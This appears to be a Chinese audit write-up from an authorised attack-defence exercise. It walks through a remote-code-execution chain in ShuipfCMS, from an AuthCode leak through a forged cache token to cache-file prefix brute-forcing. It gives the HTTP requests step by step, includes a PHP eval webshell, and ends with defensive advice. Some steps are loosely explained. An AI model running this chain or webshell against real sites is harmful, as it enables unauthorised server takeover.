某攻防演练期间遇到的shuipfcms的RCE审计过程
字数 1244 2025-08-09 19:33:17
ShuipfCMS RCE漏洞分析与利用教学文档
1. 漏洞背景
在某次授权的攻防演练项目中,发现目标系统使用了ShuipfCMS(基于ThinkPHP框架的内容管理系统)。通过代码审计发现该系统存在多处安全漏洞,最终组合利用这些漏洞实现了远程代码执行。
2. 漏洞利用思路
- 利用未授权访问获取系统AuthCode密钥
- 使用AuthCode解密cloud_token
- 通过ThinkPHP缓存机制实现getshell
3. 详细漏洞分析
3.1 AuthCode密钥泄露漏洞
漏洞文件: shuipf/Application/Attachment/Controller/AdminController.class.php
漏洞函数: swfupload()
关键代码分析:
// 第37行左右
public function swfupload() {
// 不需要鉴权即可访问
if (empty($_POST['authkey']) || $_POST['authkey'] != authcode("a", "ENCODE")) {
// 当密钥不对时,直接打印出系统的AuthCode
exit(authcode("a", "ENCODE"));
}
// ...其他代码
}
漏洞利用:
直接访问该接口,当authkey不正确时,系统会返回加密后的字符串"a",这实际上泄露了系统的AuthCode密钥。
3.2 cloud_token解密漏洞
漏洞文件: shuipf/Application/Api/Controller/IndexController.class.php
关键代码分析:
// 第17行左右
public function cloud() {
$token = I('post.token');
$data = authcode($token, 'DECODE'); // 使用authcode解密token
// CLOUD_USERNAME默认未设置,使用authcode解密
// ...其他代码
S($this->getTokenKey(), $data); // 将解密后的数据存入缓存
}
漏洞利用:
由于我们已经获取了AuthCode,可以构造任意token进行解密,并将恶意数据存入缓存。
3.3 ThinkPHP缓存getshell
缓存文件处理:
// shuipf/Core/Library/Think/Cache/Driver/File.class.php
public function set($name, $value, $expire = null) {
// 文件名生成逻辑
$filename = $this->filename($name);
// 写入序列化数据
$data = serialize($value);
file_put_contents($filename, $data);
}
文件名生成规则:
- 默认
DATA_CACHE_KEY为空 $this->options['prefix']为3个随机字母加下划线(如rDe_)- 需要爆破或猜测此前缀
webshell写入:
通过构造特定的序列化数据,可以写入webshell到缓存文件中。
4. 完整利用过程
4.1 获取AuthCode
发送请求获取系统AuthCode:
POST /index.php?g=Attachment&m=Admin&a=swfupload HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
authkey=wrongkey
响应中会返回类似4e5935f5f5f5f5f5的AuthCode。
4.2 生成并发送恶意token
使用获取的AuthCode加密payload:
$payload = "<?php eval(\$_POST['cmd']);?>";
$token = authcode($payload, 'ENCODE', $authcode);
发送恶意token:
POST /index.php?g=Api&m=Index&a=cloud HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
token=生成的加密token
4.3 定位缓存文件
缓存文件位置通常在/Runtime/Temp/目录下,文件名格式为:
[3位随机字母]_[md5哈希].php
例如:
/rDe_1a79a4d60de6718e8e5b326e338ae533.php
定位方法:
- 如果有目录遍历漏洞,直接查看
/Runtime/Temp/目录 - 无目录遍历时需要爆破3位前缀(Windows不区分大小写,爆破较快)
4.4 访问webshell
找到正确的缓存文件后,直接访问该文件即可执行任意PHP代码:
POST /Runtime/Temp/rDe_1a79a4d60de6718e8e5b326e338ae533.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
cmd=phpinfo();
5. 防御建议
- 修复未授权访问漏洞,对
swfupload等敏感接口添加权限验证 - 不要在生产环境泄露加密密钥
- 对缓存文件进行安全处理,避免直接执行PHP代码
- 关闭目录遍历功能
- 定期更新CMS系统和框架
6. 总结
本漏洞利用链展示了如何通过组合多个看似不严重的安全问题(未授权访问、密钥泄露、不安全的缓存处理)实现远程代码执行。在实际渗透测试中,这种"小漏洞组合拳"的方式非常常见,开发者需要对每个安全环节都保持警惕。